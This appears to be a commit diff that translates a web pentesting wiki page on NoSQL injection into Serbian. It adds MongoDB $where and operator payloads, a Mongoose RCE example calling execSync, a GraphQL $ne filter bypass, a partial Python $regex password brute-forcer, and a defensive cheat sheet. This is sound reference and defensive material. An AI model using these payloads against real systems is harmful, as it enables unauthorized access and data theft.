Translated ['src/pentesting-web/nosql-injection.md'] to sr

src/pentesting-web/nosql-injection.md

@@ -4,7 +4,7 @@
 
 ## Exploit
 
-U PHP-u možete poslati niz menjajući poslati parametar sa _parameter=foo_ na _parameter\[arrName]=foo._
+U PHP-u možete poslati niz menjajući poslati parametar sa _parameter=foo_ na _parameter[arrName]=foo._
 
 Eksploati se zasnivaju na dodavanju **Operatora**:
 ```bash
@@ -110,13 +110,47 @@ Moguće je koristiti [**$lookup**](https://www.mongodb.com/docs/manual/reference
 ```
 ### Error-Based Injection
 
-Umetnite `throw new Error(JSON.stringify(this))` u `$where` klauzulu da biste eksfiltrirali pune dokumente putem grešaka u JavaScript-u na serverskoj strani (zahteva da aplikacija otkrije greške u bazi podataka). Primer:
+Inject `throw new Error(JSON.stringify(this))` u `$where` klauzulu da se exfiltriraju puni dokumenti putem grešaka u JavaScript-u na serverskoj strani (zahteva da aplikacija otkrije greške u bazi podataka). Primer:
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
+## Nedavne CVE i stvarni napadi (2023-2025)
+
+### Rocket.Chat neautentifikovani slepi NoSQLi – CVE-2023-28359
+Verzije ≤ 6.0.0 su izložile Meteor metodu `listEmojiCustom` koja je direktno prosledila objekat **selector** pod kontrolom korisnika `find()`. Umetanjem operatora kao što su `{"$where":"sleep(2000)||true"}` neautentifikovani napadač mogao je da izgradi vremenski orakl i exfiltrira dokumente. Greška je ispravljena u 6.0.1 validacijom oblika selektora i uklanjanjem opasnih operatora.
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+Kada se `populate()` koristi sa opcijom `match`, Mongoose (≤ 8.8.2) je kopirao objekat doslovno *pre* nego što ga je poslao MongoDB. Pružanje `$where` je stoga izvršilo JavaScript **unutar Node.js** čak i ako je server-side JS bio onemogućen na MongoDB:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+Prvi zakrpa (8.8.3) je blokirao vrhunski `$where`, ali njegovo ugnježdenje pod `$or` je zaobišlo filter, što je dovelo do CVE-2025-23061. Problem je potpuno rešen u 8.9.5, a nova opcija veze `sanitizeFilter: true` je uvedena.
+
+### GraphQL → Mongo filter konfuzija
+Resolvatori koji direktno prosleđuju `args.filter` u `collection.find()` ostaju ranjivi:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+Mitigacije: rekurzivno uklonite ključeve koji počinju sa `$`, eksplicitno mapirajte dozvoljene operatore ili validirajte pomoću biblioteka za šemu (Joi, Zod).
+
+## Defanzivni Cheat-Sheet (ažurirano 2025)
+
+1. Uklonite ili odbacite bilo koji ključ koji počinje sa `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Onemogućite JavaScript na serverskoj strani na samostalno hostovanom MongoDB (`--noscripting`, podrazumevano u v7.0+).
+3. Preferirajte `$expr` i agregacione graditelje umesto `$where`.
+4. Validirajte tipove podataka rano (Joi/Ajv) i ne dozvolite nizove gde se očekuju skalarne vrednosti kako biste izbegli `[$ne]` trikove.
+5. Za GraphQL, prevedite filter argumente kroz dozvoljenu listu; nikada ne širite nepouzdane objekte.
+
 ## MongoDB Payloads
 
-Lista [odavde](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
 true, $where: '1 == 1'
 , $where: '1 == 1'
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## Alati
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## Reference
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}